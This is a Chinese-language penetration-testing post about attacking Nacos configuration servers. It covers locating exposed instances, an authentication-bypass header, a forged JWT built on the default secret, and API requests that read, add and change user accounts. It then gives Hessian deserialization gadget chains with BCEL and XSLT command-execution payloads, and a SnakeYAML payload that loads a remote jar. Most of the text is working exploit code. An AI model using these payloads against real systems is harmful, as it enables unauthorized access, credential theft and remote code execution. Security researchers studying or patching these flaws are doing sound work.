前言
Nacos是阿里搞得一个统一管理的配置注册中心,默认端口是8848 ,fofa搜app="NACOS" && icon_hash="13942501"能搜出一堆,而且在渗透中不论是内网还是外网都十分管用,最简单的利用方法就是看配置文件搞数据库,后台密码,既然在工作中遇到了,就简单记录一下,不要只当个脚本小子
 
Nacos身份认证绕过漏洞分析
Nacos控制台默认口令漏洞(nacos,nacos),除此之外Nacos鉴权机制还可以被绕过
Nacos User-Agent权限绕过
漏洞影响版本: Nacos <= 2.0.0-ALPHA.1
请求时加上header serverIdentity: security,就可以跳过鉴权
JWT默认secretKey
漏洞影响版本: Nacos <= 2.2.0
Nacos鉴权用的jwt但是JWT密钥在2.2.0之前是默认的,所以可以自定义成功通过鉴权
构造的payload很简单,一个用户名加一个时间戳,只要时间戳没过期,就能通过
1 2 3 4
   | {   "sub": "nacos",   "exp": 9999999999 }
  | 
 
传入方式,可以加参数accessToken=,或者加header Authorization: Bearer
利用
1 2 3 4 5 6 7 8 9
   | 读取用户账号密码: GET /nacos/v1/auth/users?pageNo=1&pageSize=9
  添加用户: POST /nacos/v1/auth/users?username=test&password=test"
  任意用户密码更改: PUT /nacos/v1/auth/users?username=test&newPassword=test1234"
 
   | 
 
Nacos Jraft Hessian反序列化
漏洞影响版本: 1.4.0 <= Nacos < 1.4.6 在单机模式下默认不开放7848端口,需使用cluster集群模式运行
             2.0.0 <= Nacos < 2.2.3 默认开放7848端口,任意模式启动均受到影响
Hessian
Hession 是基于二进制的实现,传输数据更小更快,基于 HTTP 协议传输。
Hessian反序列化和java原生反序列化很像,都是直接对Field进行赋值操作的机制,而不是基于Bean属性访问机制
基本用法
hessian除了配合 web 项目使用,或作为微服务调用的传输协议外,也可以自行封装自行调用
1 2 3 4 5 6 7 8 9 10 11 12 13
   | public static <T> byte[] serialize(T o) throws IOException {         ByteArrayOutputStream bao = new ByteArrayOutputStream();         HessianOutput output = new HessianOutput(bao);         output.writeObject(o);         return bao.toByteArray();     }       public static <T> T deserialize(byte[] bytes) throws IOException {         ByteArrayInputStream bai = new ByteArrayInputStream(bytes);         HessianInput input = new HessianInput(bai);         Object o = input.readObject();         return (T) o;     }
  | 
 
除此之外还用HessianInput/HessianOutput、Hessian2Input/Hessian2Output(在 Hassian jar 3.2.0 之后,采用了 Hessian 2.0协议,同时还兼容 Hessian 1.0)、BurlapInput/BurlapOutput 的相关方法的封装
Hessian反序列化
HessianOutput在写入自定义类型时会将其标记为 Map 类型
MapDeserializer
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
   | public Object readMap(AbstractHessianInput in)     throws IOException   {     Map map;          if (_type == null)       map = new HashMap();     else if (_type.equals(Map.class))       map = new HashMap();     else if (_type.equals(SortedMap.class))       map = new TreeMap();     else {       try {         map = (Map) _ctor.newInstance();       } catch (Exception e) {         throw new IOExceptionWrapper(e);       }     }
      in.addRef(map);
      while (! in.isEnd()) {       map.put(in.readObject(), in.readObject());     }
      in.readEnd();
      return map;   }
   | 
 
利用链(source:put)
前面Hessian可以看出起始方法只能为 put方法可以触发的方法,也就是hashCode/equals/compareTo 方法
该漏洞主要是针对部分Jraft请求处理时,使用hessian进行反序列化未限制而造成的RCE漏洞,这里就简单分析一下Nacosrce中出现的几条链子
bcel
由于hessian-4.0.63存在黑名单限制,不能直接调用命令执行函数,所以只能采用加载字节码或jndi远程调用
javax.swing.UIDefaults
1 2 3 4 5 6 7 8 9 10 11 12 13
   | public class UIDefaults extends Hashtable<Object,Object> { public Object get(Object key) {         Object value = getFromHashtable( key );         return (value != null) ? value : getFromResourceBundle(key, null);     }  private Object getFromHashtable(final Object key) {         Object value = super.get(key); ...........          if (value instanceof LazyValue) {             try {             value = ((ActiveValue)value).createValue(this);     }    
   | 
 
sun.swing.SwingLazyValue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
   | public class SwingLazyValue implements UIDefaults.LazyValue {   public Object createValue(UIDefaults var1) {         try {             ReflectUtil.checkPackageAccess(this.className);             Class var2 = Class.forName(this.className, true, (ClassLoader)null);              Class[] var3;             if (this.methodName != null) {                 var3 = this.getClassArray(this.args);                 Method var6 = var2.getMethod(this.methodName, var3);                  this.makeAccessible(var6);                 return var6.invoke(var2, this.args);             } else {                 var3 = this.getClassArray(this.args);                 Constructor var4 = var2.getConstructor(var3);                 this.makeAccessible(var4);                 return var4.newInstance(this.args);              }         } catch (Exception var5) {             return null;         }     }
  | 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
   | public class JavaWrapper {   public static void _main(String[] argv) throws Exception {     String class_name = argv[0];   ..........     wrapper.runMain(class_name, new_argv);   }
    public JavaWrapper() {     this(getClassLoader());   }   public JavaWrapper(java.lang.ClassLoader loader) {     this.loader = loader;   }   private static java.lang.ClassLoader getClassLoader() {     String s = SecuritySupport.getSystemProperty("bcel.classloader");
      if((s == null) || "".equals(s))       s = "com.sun.org.apache.bcel.internal.util.ClassLoader";     try {       return (java.lang.ClassLoader)Class.forName(s).newInstance();     } catch(Exception e) {       throw new RuntimeException(e.toString());     }   }
     public void runMain(String class_name, String[] argv) throws ClassNotFoundException   {     Class   cl    = loader.loadClass(class_name);     .........   }      
  | 
 
实例
putVal:635, HashMap (java.util)
equals:814, Hashtable (java.util)             //跟cc7 hash值相等触发equals原理相同,触发Hashtable.equals(UIDefaults)
get:161, UIDefaults (javax.swing)             //触发传入UIDefaults的get方法
getFromHashtable:216, UIDefaults (javax.swing)
createValue:73, SwingLazyValue (sun.swing)    //可以调用任意静态方法或者一个构造函数
_main:153, JavaWrapper (com.sun.org.apache.bcel.internal.util)
1 2 3 4 5 6 7 8 9
   | JavaClass clazz = Repository.lookupClass(NacosFilterShellPlus.class); String payload = "$$BCEL$$" + Utility.encode(clazz.getBytes(), true);                                               SwingLazyValue value = new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{payload}}); UIDefaults uiDefaults = new UIDefaults(); uiDefaults.put(value, value); Hashtable<Object, Object> hashtable = new Hashtable(); hashtable.put(value, value); return makeMap(uiDefaults, hashtable);
   | 
 
xslt
这个更加通用,链子跟上面那个差不多,就是最后调用的方法不一样
1 2 3 4 5 6 7 8
   |          String tmpPath = "C:\\Windows\\Temp\\nacos_data_temp";            String cmd = payloadType.substring(4);            String xslt = "<xsl:stylesheet version=\"2.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:java=\"http://saxon.sf.net/java-type\">\n    <xsl:template match=\"/\">\n    <xsl:value-of select=\"Runtime:exec(Runtime:getRuntime(),'<command>')\" xmlns:Runtime=\"java.lang.Runtime\"/>\n    </xsl:template>\n</xsl:stylesheet>".replace("<command>", cmd);             value = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{tmpPath, xslt.getBytes()});             ........                          value = new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "file://" + tmpPath}});
 
  | 
 
原理(二进制的东西我也看不明白):https://paper.seebug.org/1963/#0x00
Apache Dubbo Hessian2异常处理反序列化漏洞(CVE-2021-43297)
这是hessian反序列化的另一个思路,以tostring为source
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
   | protected IOException expect(String expect, int ch)     throws IOException   {    .............
          Object obj = readObject();
          if (obj != null) {           return error("expected " + expect                        + " at 0x" + Integer.toHexString(ch & 0xff)                        + " " + obj.getClass().getName() + " (" + obj + ")"                         + "\n  " + context + "");       public int readString(char []buffer, int offset, int length)     throws IOException   {     int readLength = 0;
      if (_chunkLength == END_OF_DATA) {       _chunkLength = 0;       return -1;     }     else if (_chunkLength == 0) {       int tag = read();            
        switch (tag) {      .......................
        default:         throw expect("string", tag);        }     }
    
 
   | 
 
示例
expect:2880, Hessian2Input (com.caucho.hessian.io)
readString:1398, Hessian2Input (com.caucho.hessian.io)
readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io)
readObject:2122, Hessian2Input (com.caucho.hessian.io)
1 2 3 4 5 6 7 8 9 10
   | ByteArrayOutputStream baos = new ByteArrayOutputStream(); Hessian2Output output = new Hessian2Output(baos); baos.write(67);  output.writeObject(evilClass); output.flushBuffer();
  ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); Hessian2Input input = new Hessian2Input(bais); input.readObject();
 
   | 
 
攻击客户端
Nacos-client Yaml反序列化漏洞
漏洞影响版本:  Nacos-Client < 1.4.2
其实也很好理解,nacos本身就是管理动态配置的,我们可以设置配置类型为yaml,并且修改配置为任意poc,当修改成功之后,对应的客户端Nacos-client轮询会接受到信息,并且会调用SnakeYaml包反序列化配置文件
snakeYaml反序列化
1 2 3
   | String context = "!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL [\"http://127.0.0.1:8000/yaml-payload.jar\"]]]]"; Yaml yaml = new Yaml(); yaml.load(context);
   | 
 
执行的jar包需要符合SPI 机制 https://github.com/passer-W/snakeyaml-memshell
修复法方
1 2
   | Yaml yaml = new Yaml(new SafeConstructor()); yaml.load(context);
   | 
 
Nacos结合Spring Cloud Gateway RCE利用